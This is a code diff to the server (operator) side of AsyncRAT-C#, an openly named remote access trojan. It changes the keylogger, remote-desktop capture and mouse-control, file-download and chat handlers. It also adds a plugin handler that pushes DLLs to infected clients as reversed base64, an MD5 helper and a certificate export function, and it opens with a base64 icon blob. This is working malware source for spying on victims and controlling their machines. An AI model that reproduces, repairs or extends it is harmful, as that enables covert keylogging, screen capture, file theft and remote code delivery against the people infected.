Ae0B/wFgAb8B1wH/AWkBzQHtAf8BhQHWAfcB/wGGAdcB+QH/AYYB1wH5Af8BhgHXAfkB/wGGAdcB+QH/
|
||||
AYYB1wH5Af8BhwHXAfgB/wGKAdcB+AH/AZQB2wH5Af8BmAHcAfkB/wGEAcYB4gH+AZYBuAHCAf0BagGH
|
||||
AYkB+QFgAmIB7wNhAdoDWQG+A1ABnQNBAXIDMAFLAxwBJwMHAQkDAAEBQAADBQEHAx4BKwOqAf4DwQH/
|
||||
A8MB/wPEAf8DrAH/A8kB/wPKAf8DywH/A8wB/wPNAf8DzgH/A84B/wPOAf8DzwH/A88B/wPPAf8DzwH/
|
||||
A9AB/wPQAf8DxQH/A88B/wOIAf8DpAH/A84B/wPOAf8DzgH/A80B/wPMAf8DywH/A54B/wPJAf8DyAH/
|
||||
A8UB/wPDAf8DwgH/A8AB/wOpAf8DGAEhAwQBBSgAA0IBcwPjAf8D5AH/A+MB/wPjAf8D4gH/A+IB/wPh
|
||||
Af8D4AH/A+AB/wPfAf8D3wH/A94B/wPdAf8D3AH/A9kB/wPFAf8DwQH/A80B/wPYAf8D1wH/A9YB/wPU
|
||||
Af8D0wH/A9IB/wPRAf8D0QH/A9AB/wPOAf8DzQH/A8wB/wPKAf8DygH/A1YBsQMFAQf0AANQAZoBZgF0
|
||||
AXkB8AGWAdsB8wH/AX8BrAG/Af4BcAGaAbEB/AFuAZUBoAH6AWgBggGJAfUBYgFyAXoB7wFjAWoBbgHo
|
||||
AWEBZAFlAeICXwFhAdsDYAHWA1wBzAFZAloBvQNUAasDTAGTA0QBeQM4AV4DMAFLAycBOgMfAS0DHAEn
|
||||
AxcBIAMTARoDDgETAwoBDQMFAQcDAAEBRAADBAEGAxoBJQOkAf4DvQH/A78B/wPAAf8DtwH/A54B/wOf
|
||||
Af8DogH/A6YB/wOqAf8DrgH/A7EB/wO1Af8DtwH/A7kB/wO7Af8DuwH/A7oB/wO5Af8DxwH/A8oB/wO4
|
||||
Af8DmwH/A8EB/wPAAf8DwAH/A78B/wO/Af8DugH/A6EB/wPDAf8DwgH/A8AB/wO/Af8DvQH/A7sB/wOL
|
||||
Af8DFAEcAwMBBCgAAy4BSAOAAfED4wH/A+MB/wPjAf8D4wH/A+MB/wPiAf8D4gH/A+EB/wPhAf8D4AH/
|
||||
A98B/wPeAf8D3gH/A90B/wPZAf8D0AH/A9sB/wPZAf8D2AH/A9cB/wPXAf8D1gH/A9UB/wPUAf8D0wH/
|
||||
A9IB/wPQAf8D0AH/A84B/wPNAf8DzQH/A0cBgPgAA0kBhwNdAdMDYQHcA14B1QNcAcwDWQG/A1YBqwNO
|
||||
AZQDRAF5AzoBYAMvAUoDJgE5AyABLgMbASYDFwEgAxMBGgMPARQDCgENAwYBCAMDAQQDAAEBAwABAVwA
|
||||
AwMBBAMTARoDhwH+A8IB/wPOAf8DzQH/A70B/wPMAf8D5wH/AeUC5gH/AckCygH/A98B/wPRAf8BvwLA
|
||||
Af8B0wLUAf8BxgLHAf8B2wLdAf8B0QLSAf8DtwH/AcMCxAH/AdwC3QH/AdwC3QH/Ac0CzgH/A8cB/wO0
|
||||
Af8DuwH/A7wB/wO7Af8DugH/A7kB/wO1Af8DuAH/A78B/wO+Af8DvAH/A9AB/wPFAf8DwgH/A2kB/wMP
|
||||
ARQDAQECKAADEAEVA1ABmwPiAf8D4wH/A+MB/wPkAf8D4wH/A+MB/wPjAf8D4wH/A+IB/wPiAf8D4QH/
|
||||
A+AB/wPfAf8D3wH/A90B/wPdAf8D3QH/A9sB/wPaAf8D2QH/A9kB/wPYAf8D1wH/A9YB/wPVAf8D1AH/
|
||||
A9IB/wPSAf8D0QH/A6oB/gNaAcADGAEi+AADHAEoAywBQwMhATADEwEaAwcBCgMAAQGfAAEBAwgBCwNo
|
||||
Af4DlgH/A2wB/wOBAf8DugH/A8cB/wP9Af8B+wL8Af8B+QL6Af8D+AH/AfYC9wH/AfQC9QH/AfIC9AH/
|
||||
AfEC8wH/Ae8C8QH/Ae8C8QH/Ae4C8AH/Ae4C8AH/Ae0C7wH/Ae0C7wH/Ac8C0AH/A8IB/wPCAf8DwQH/
|
||||
A8AB/wPAAf8DvwH/A74B/wO9Af8DvAH/A7sB/wO6Af8DuwH/AyAB/wOTAf8DswH/A1sBxAMGAQgDAAEB
|
||||
MAADGwEmAzgBXAM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5
|
||||
AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzkBXwM5AV8DOQFfAzgBXQMj
|
||||
ATP/AAEAAwUBBwMIAQsDBgEIAwQBBQMBAQKkAAMBAQIDTAGTA1MBqgNWAasDVgGrA1YBqwNWAasDVgGr
|
||||
A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGr
|
||||
A1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNWAasDVgGrA1YBqwNTAaoDDAEQ
|
||||
AwABAf8A/wBtAAEBAwAEAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB
|
||||
AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAQECAwEBAgMB
|
||||
AQIDAQECAwEBAgMBAQIDAQECAwEBAgMBAQIDAAEB/wD/AP8A/wCcAAFCAU0BPgcAAT4DAAEoAwABwAMA
|
||||
ATADAAEBAQABAQUAAYABBBYAA/8BAAH/AfgBPwH/Ad8B/wHgBAABAwb/BgAB/wH4AQ8B/AEBAf8BwAQA
|
||||
AQEG/wYAAf8B+AEPAfgBAQH/AYAFAAb/BgAB/wHAAwABPwGABQAG/wYAAf8EAAE/AYAFAAHABAABAwYA
|
||||
Af8EAAE/AYAFAAGABAABAQYAAf4EAAEPAYARAAH+BAABDwGAEQAB/gQAAQ8BgBEAAf4EAAEHAYARAAH+
|
||||
BAABAwGAEQAB/gQAAQEBgBEAAf4EAAEBAYARAAH+BAABAQGABQABgAsAAf4EAAEHAYAFAAGACwAB/gQA
|
||||
AQ8BgAUAAYALAAH+AwABAQH/AYAEAAEBAYAEAAEBBgAB/gMAAQEB/wGABAABAQGABAABAQYAAf4DAAEB
|
||||
Af8BgAQAAQEBgAQAAQEGAAH+AwABBwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHABAABAwYA
|
||||
Af4DAAEPAf8BwAQAAQEBwAQAAQMGAAH+AwABDwH/AcAEAAEBAcAEAAEDBgAB/gMAAQ8B/wHABAABAQHg
|
||||
BAABBwYAAf4DAAEPAf8BwAQAAQEB4AQAAQcGAAH+AwABDwH/AcAEAAEBAeAEAAEHBgAB/gMAAQ8B/wHA
|
||||
BAABAQHwBAABBwYAAf4DAAEPAf8BwAQAAQMB8AQAAQcGAAH+AwABDwH/AcAEAAEDAfAEAAEHBgAB/gMA
|
||||
AQ8B/wHgBAABAwHwBAABDwYAAf4DAAEPAf8B4AQAAQMB8AQAAQ8GAAH+AwABDwH/AeAEAAEDAfAEAAEP
|
||||
BgAB/gMAAQ8B/wHgBAABAwH4BAABHwYAAf4DAAEPAf8B4AQAAQMB+AQAAR8GAAH+AwABDwH/AeAEAAED
|
||||
AfgEAAEfBgAB/gMAAQ8B/wHgBAABBwH4BAABHwYAAf4DAAEPAf8B4AQAAQcB/AQAAR8GAAH+AwABDwH/
|
||||
AfAEAAEHAfwEAAE/BgAB/gMAAQ8B/wHwBAABBwH8BAABPwYAAf4DAAEPAf8B8AQAAQcB/gQAAT8GAAH+
|
||||
AwABDwH/AfAEAAEHAf4EAAE/BgAB/gMAAQ8B/wHwBAABBwH+BAABPwYAAf4DAAEfAf8B8AQAAQcB/gQA
|
||||
AX8GAAH+AgABBwL/AfAEAAEHAf4EAAF/BgAB/gEHBP8B8AQAAQcB/wGAAgABAQH/BgAB/gEPBP8B+AQA
|
||||
AQ8G/wYABv8B/AQAAT8G/wYAEv8GAAs=
|
||||
</value>
|
||||
</data>
|
||||
<metadata name="statusStrip1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
|
@ -42,7 +42,6 @@
|
||||
//
|
||||
// timer1
|
||||
//
|
||||
this.timer1.Enabled = true;
|
||||
this.timer1.Interval = 1000;
|
||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||
//
|
||||
@ -119,12 +118,12 @@
|
||||
}
|
||||
|
||||
#endregion
|
||||
private System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.ToolStrip toolStrip1;
|
||||
private System.Windows.Forms.ToolStripLabel toolStripLabel1;
|
||||
private System.Windows.Forms.ToolStripTextBox toolStripTextBox1;
|
||||
private System.Windows.Forms.ToolStripSeparator toolStripSeparator1;
|
||||
private System.Windows.Forms.ToolStripButton toolStripButton1;
|
||||
public System.Windows.Forms.RichTextBox richTextBox1;
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
}
|
||||
}
|
@ -36,11 +36,12 @@ namespace Server.Forms
|
||||
|
||||
private void Keylogger_FormClosed(object sender, FormClosedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
Client.Disconnected();
|
||||
}
|
||||
catch { }
|
||||
Sb?.Clear();
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("isON").AsString = "false";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
|
||||
private void ToolStripTextBox1_KeyDown(object sender, KeyEventArgs e)
|
||||
|
@ -87,6 +87,7 @@
|
||||
//
|
||||
this.btnMouse.BackgroundImage = global::Server.Properties.Resources.mouse;
|
||||
this.btnMouse.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnMouse.Enabled = false;
|
||||
this.btnMouse.Location = new System.Drawing.Point(550, 3);
|
||||
this.btnMouse.Name = "btnMouse";
|
||||
this.btnMouse.Size = new System.Drawing.Size(32, 32);
|
||||
@ -98,6 +99,7 @@
|
||||
//
|
||||
this.btnSave.BackgroundImage = global::Server.Properties.Resources.save_image;
|
||||
this.btnSave.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.btnSave.Enabled = false;
|
||||
this.btnSave.Location = new System.Drawing.Point(455, 3);
|
||||
this.btnSave.Name = "btnSave";
|
||||
this.btnSave.Size = new System.Drawing.Size(32, 32);
|
||||
@ -172,8 +174,9 @@
|
||||
//
|
||||
// button1
|
||||
//
|
||||
this.button1.BackgroundImage = global::Server.Properties.Resources.stop__1_;
|
||||
this.button1.BackgroundImage = global::Server.Properties.Resources.play_button;
|
||||
this.button1.BackgroundImageLayout = System.Windows.Forms.ImageLayout.Stretch;
|
||||
this.button1.Enabled = false;
|
||||
this.button1.Location = new System.Drawing.Point(12, 3);
|
||||
this.button1.Name = "button1";
|
||||
this.button1.Size = new System.Drawing.Size(32, 32);
|
||||
@ -241,14 +244,14 @@
|
||||
public System.Windows.Forms.Timer timer1;
|
||||
private System.Windows.Forms.Panel panel1;
|
||||
private System.Windows.Forms.Label label1;
|
||||
private System.Windows.Forms.Button button1;
|
||||
private System.Windows.Forms.Button button2;
|
||||
public System.Windows.Forms.NumericUpDown numericUpDown1;
|
||||
private System.Windows.Forms.Label label2;
|
||||
public System.Windows.Forms.NumericUpDown numericUpDown2;
|
||||
private System.Windows.Forms.Button btnSave;
|
||||
private System.Windows.Forms.Timer timerSave;
|
||||
private System.Windows.Forms.Button btnMouse;
|
||||
public System.Windows.Forms.Label labelWait;
|
||||
public System.Windows.Forms.Button btnSave;
|
||||
public System.Windows.Forms.Button btnMouse;
|
||||
public System.Windows.Forms.Button button1;
|
||||
}
|
||||
}
|
@ -71,8 +71,8 @@ namespace Server.Forms
|
||||
{
|
||||
button2.Top = panel1.Bottom + 5;
|
||||
button2.Left = pictureBox1.Width / 2;
|
||||
button1.Tag = (object)"stop";
|
||||
button2.PerformClick();
|
||||
button1.Tag = (object)"play";
|
||||
//button2.PerformClick();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
@ -83,27 +83,29 @@ namespace Server.Forms
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "capture";
|
||||
msgpack.ForcePathObject("Command").AsString = "capture";
|
||||
msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value.ToString());
|
||||
msgpack.ForcePathObject("Screen").AsInteger = Convert.ToInt32(numericUpDown2.Value.ToString());
|
||||
decoder = new UnsafeStreamCodec(Convert.ToInt32(numericUpDown1.Value));
|
||||
ThreadPool.QueueUserWorkItem(ParentClient.Send, msgpack.Encode2Bytes());
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
numericUpDown1.Enabled = false;
|
||||
numericUpDown2.Enabled = false;
|
||||
btnSave.Enabled = true;
|
||||
btnMouse.Enabled = true;
|
||||
button1.Tag = (object)"stop";
|
||||
button1.BackgroundImage = Properties.Resources.stop__1_;
|
||||
}
|
||||
else
|
||||
{
|
||||
button1.Tag = (object)"play";
|
||||
try
|
||||
{
|
||||
Client.Disconnected();
|
||||
Client = null;
|
||||
}
|
||||
catch { }
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Command").AsString = "stopCapture";
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
numericUpDown1.Enabled = true;
|
||||
numericUpDown2.Enabled = true;
|
||||
btnSave.Enabled = false;
|
||||
btnMouse.Enabled = false;
|
||||
button1.BackgroundImage = Properties.Resources.play_button;
|
||||
}
|
||||
}
|
||||
@ -183,7 +185,7 @@ namespace Server.Forms
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("Command").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("X").AsInteger = p.X;
|
||||
msgpack.ForcePathObject("Y").AsInteger = p.Y;
|
||||
msgpack.ForcePathObject("Button").AsInteger = button;
|
||||
@ -208,7 +210,7 @@ namespace Server.Forms
|
||||
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("Command").AsString = "mouseClick";
|
||||
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
||||
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
||||
msgpack.ForcePathObject("Button").AsInteger = (Int32)(button);
|
||||
@ -227,7 +229,7 @@ namespace Server.Forms
|
||||
Point p = new Point(e.X * (rdSize.Width / pictureBox1.Width), e.Y * (rdSize.Height / pictureBox1.Height));
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
|
||||
msgpack.ForcePathObject("Option").AsString = "mouseMove";
|
||||
msgpack.ForcePathObject("Command").AsString = "mouseMove";
|
||||
msgpack.ForcePathObject("X").AsInteger = (Int32)(p.X);
|
||||
msgpack.ForcePathObject("Y").AsInteger = (Int32)(p.Y);
|
||||
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||
|
@ -123,9 +123,6 @@
|
||||
<metadata name="timerSave.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>131, 17</value>
|
||||
</metadata>
|
||||
<metadata name="timerPic.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
|
||||
<value>273, 17</value>
|
||||
</metadata>
|
||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>
|
||||
|
@ -15,19 +15,39 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
public HandleChat(MsgPack unpack_msgpack, Clients client)
|
||||
{
|
||||
FormChat chat = (FormChat)Application.OpenForms["chat:" + client.ID];
|
||||
if (chat != null)
|
||||
switch (unpack_msgpack.ForcePathObject("Command").GetAsString())
|
||||
{
|
||||
Console.Beep();
|
||||
chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString);
|
||||
chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength;
|
||||
chat.richTextBox1.ScrollToCaret();
|
||||
}
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
case "started":
|
||||
{
|
||||
FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
if (chat != null)
|
||||
{
|
||||
chat.Client = client;
|
||||
chat.timer1.Start();
|
||||
chat.textBox1.Enabled = true;
|
||||
chat.richTextBox1.Enabled = true;
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "chat":
|
||||
{
|
||||
FormChat chat = (FormChat)Application.OpenForms["chat:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
if (chat != null)
|
||||
{
|
||||
Console.Beep();
|
||||
chat.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("WriteInput").AsString);
|
||||
chat.richTextBox1.SelectionStart = chat.richTextBox1.TextLength;
|
||||
chat.richTextBox1.ScrollToCaret();
|
||||
}
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -24,9 +24,11 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
case "getDrivers":
|
||||
{
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
if (FM != null)
|
||||
{
|
||||
FM.Client = client;
|
||||
FM.listView1.Enabled = true;
|
||||
FM.toolStripStatusLabel1.Text = "";
|
||||
FM.listView1.Items.Clear();
|
||||
string[] driver = unpack_msgpack.ForcePathObject("Driver").AsString.Split(new[] { "-=>" }, StringSplitOptions.None);
|
||||
@ -50,7 +52,7 @@ namespace Server.Handle_Packet
|
||||
|
||||
case "getPath":
|
||||
{
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
if (FM != null)
|
||||
{
|
||||
FM.toolStripStatusLabel1.Text = unpack_msgpack.ForcePathObject("CurrentPath").AsString;
|
||||
@ -105,7 +107,7 @@ namespace Server.Handle_Packet
|
||||
|
||||
case "error":
|
||||
{
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + client.ID];
|
||||
FormFileManager FM = (FormFileManager)Application.OpenForms["fileManager:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
if (FM != null)
|
||||
{
|
||||
FM.listView1.Enabled = true;
|
||||
@ -150,15 +152,17 @@ namespace Server.Handle_Packet
|
||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||
if (SD != null)
|
||||
{
|
||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", ""))))
|
||||
return;
|
||||
string filename = Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString);
|
||||
string filename = Path.Combine(SD.FullPath, unpack_msgpack.ForcePathObject("Name").AsString);
|
||||
string filemanagerPath = SD.FullPath;
|
||||
|
||||
if (!Directory.Exists(filemanagerPath))
|
||||
Directory.CreateDirectory(filemanagerPath);
|
||||
if (File.Exists(filename))
|
||||
{
|
||||
File.Delete(filename);
|
||||
await Task.Delay(500);
|
||||
}
|
||||
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), Path.Combine(Application.StartupPath, "ClientsFolder\\" + SD.Text.Replace("socketDownload:", "") + "\\" + unpack_msgpack.ForcePathObject("Name").AsString)));
|
||||
await Task.Run(() => SaveFileAsync(unpack_msgpack.ForcePathObject("File"), filename));
|
||||
SD.Close();
|
||||
}
|
||||
}
|
||||
|
@ -13,9 +13,11 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
|
||||
case "logs":
|
||||
{
|
||||
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()];
|
||||
if (KL != null)
|
||||
{
|
||||
KL.Sb.Append(unpack_msgpack.ForcePathObject("Log").GetAsString());
|
||||
@ -25,14 +27,26 @@ namespace Server.Handle_Packet
|
||||
}
|
||||
else
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
|
||||
msgpack.ForcePathObject("isON").AsString = "false";
|
||||
client.Send(msgpack.Encode2Bytes());
|
||||
}
|
||||
client.Disconnected();
|
||||
}
|
||||
break;
|
||||
}
|
||||
|
||||
case "started":
|
||||
{
|
||||
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + unpack_msgpack.ForcePathObject("ID").GetAsString()];
|
||||
if (KL != null)
|
||||
{
|
||||
KL.Client = client;
|
||||
KL.timer1.Start();
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Disconnected();
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
37
AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs
Normal file
37
AsyncRAT-C#/Server/Handle Packet/HandlePlugin.cs
Normal file
@ -0,0 +1,37 @@
|
||||
using Server.Connection;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Linq;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
using Server.Helper;
|
||||
using Server.MessagePack;
|
||||
using Microsoft.VisualBasic;
|
||||
|
||||
namespace Server.Handle_Packet
|
||||
{
|
||||
public class HandlePlugin
|
||||
{
|
||||
public HandlePlugin(Clients client, string hash)
|
||||
{
|
||||
if (hash.Length == 32 && !hash.Contains("\\"))
|
||||
{
|
||||
foreach (string _hash in Directory.GetFiles(Path.Combine(Application.StartupPath, "Plugin")))
|
||||
{
|
||||
if (hash == Methods.GetHash(_hash))
|
||||
{
|
||||
Console.WriteLine("Found: " + hash);
|
||||
MsgPack msgPack = new MsgPack();
|
||||
msgPack.ForcePathObject("Packet").AsString = "plugin";
|
||||
msgPack.ForcePathObject("Command").AsString = "install";
|
||||
msgPack.ForcePathObject("Hash").AsString = hash;
|
||||
msgPack.ForcePathObject("Dll").AsString = Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(_hash)));
|
||||
client.Send(msgPack.Encode2Bytes());
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -12,6 +12,44 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
public class HandleRemoteDesktop
|
||||
{
|
||||
public HandleRemoteDesktop(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
switch (unpack_msgpack.ForcePathObject("Command").AsString)
|
||||
{
|
||||
case "screens":
|
||||
{
|
||||
Debug.WriteLine("I got the screen size");
|
||||
ScreenSize(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
case "capture":
|
||||
{
|
||||
Capture(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void ScreenSize(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
FormRemoteDesktop RD = (FormRemoteDesktop)Application.OpenForms["RemoteDesktop:" + unpack_msgpack.ForcePathObject("ID").AsString];
|
||||
try
|
||||
{
|
||||
if (RD.Client == null)
|
||||
{
|
||||
RD.Client = client;
|
||||
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
|
||||
RD.numericUpDown2.Maximum = Screens - 1;
|
||||
RD.labelWait.Visible = false;
|
||||
RD.timer1.Start();
|
||||
RD.button1.Enabled = true;
|
||||
RD.button1.Tag = (object)"play";
|
||||
RD.button1.PerformClick();
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
public void Capture(Clients client, MsgPack unpack_msgpack)
|
||||
{
|
||||
try
|
||||
@ -21,21 +59,9 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
if (RD != null)
|
||||
{
|
||||
if (RD.Client == null)
|
||||
{
|
||||
RD.Client = client;
|
||||
RD.timer1.Start();
|
||||
byte[] RdpStream0 = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||
Bitmap decoded0 = RD.decoder.DecodeData(new MemoryStream(RdpStream0));
|
||||
RD.rdSize = decoded0.Size;
|
||||
RD.labelWait.Visible = false;
|
||||
}
|
||||
byte[] RdpStream = unpack_msgpack.ForcePathObject("Stream").GetAsBytes();
|
||||
Bitmap decoded = RD.decoder.DecodeData(new MemoryStream(RdpStream));
|
||||
|
||||
int Screens = Convert.ToInt32(unpack_msgpack.ForcePathObject("Screens").GetAsInteger());
|
||||
RD.numericUpDown2.Maximum = Screens - 1;
|
||||
|
||||
if (RD.RenderSW.ElapsedMilliseconds >= (1000 / 20))
|
||||
{
|
||||
RD.pictureBox1.Image = decoded;
|
||||
|
@ -49,6 +49,7 @@ namespace Server.Handle_Packet
|
||||
{
|
||||
client.Disconnected();
|
||||
}
|
||||
webcam.button1.PerformClick();
|
||||
}
|
||||
else
|
||||
{
|
||||
|
@ -86,7 +86,7 @@ namespace Server.Handle_Packet
|
||||
}
|
||||
case "remoteDesktop":
|
||||
{
|
||||
new HandleRemoteDesktop().Capture(client, unpack_msgpack);
|
||||
new HandleRemoteDesktop(client, unpack_msgpack);
|
||||
break;
|
||||
}
|
||||
|
||||
@ -138,6 +138,12 @@ namespace Server.Handle_Packet
|
||||
new HandleWebcam(unpack_msgpack, client);
|
||||
break;
|
||||
}
|
||||
|
||||
case "plugin":
|
||||
{
|
||||
new HandlePlugin(client, unpack_msgpack.ForcePathObject("Hash").AsString);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
@ -49,5 +49,12 @@ namespace Server.Helper
|
||||
|
||||
return certificate2;
|
||||
}
|
||||
|
||||
public static string Export()
|
||||
{
|
||||
var caCertificate = new X509Certificate2(Settings.CertificatePath, "", X509KeyStorageFlags.Exportable);
|
||||
var serverCertificate = new X509Certificate2(caCertificate.Export(X509ContentType.Cert));
|
||||
return Convert.ToBase64String(serverCertificate.Export(X509ContentType.Cert));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1,5 +1,6 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Windows.Forms;
|
||||
@ -38,5 +39,16 @@ namespace Server.Helper
|
||||
|
||||
return randomName.ToString();
|
||||
}
|
||||
|
||||
public static string GetHash(string strToHash)
|
||||
{
|
||||
MD5CryptoServiceProvider md5Obj = new MD5CryptoServiceProvider();
|
||||
byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
|
||||
bytesToHash = md5Obj.ComputeHash(bytesToHash);
|
||||
StringBuilder strResult = new StringBuilder();
|
||||
foreach (byte b in bytesToHash)
|
||||
strResult.Append(b.ToString("x2"));
|
||||
return strResult.ToString();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
20
AsyncRAT-C#/Server/Properties/Resources.Designer.cs
generated
20
AsyncRAT-C#/Server/Properties/Resources.Designer.cs
generated
@ -290,26 +290,6 @@ namespace Server.Properties {
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Byte[].
|
||||
/// </summary>
|
||||
internal static byte[] PluginCam {
|
||||
get {
|
||||
object obj = ResourceManager.GetObject("PluginCam", resourceCulture);
|
||||
return ((byte[])(obj));
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Looks up a localized resource of type System.Byte[].
|
||||
/// </summary>
|
||||
internal static byte[] PluginDesktop {
|
||||
get {
|
||||
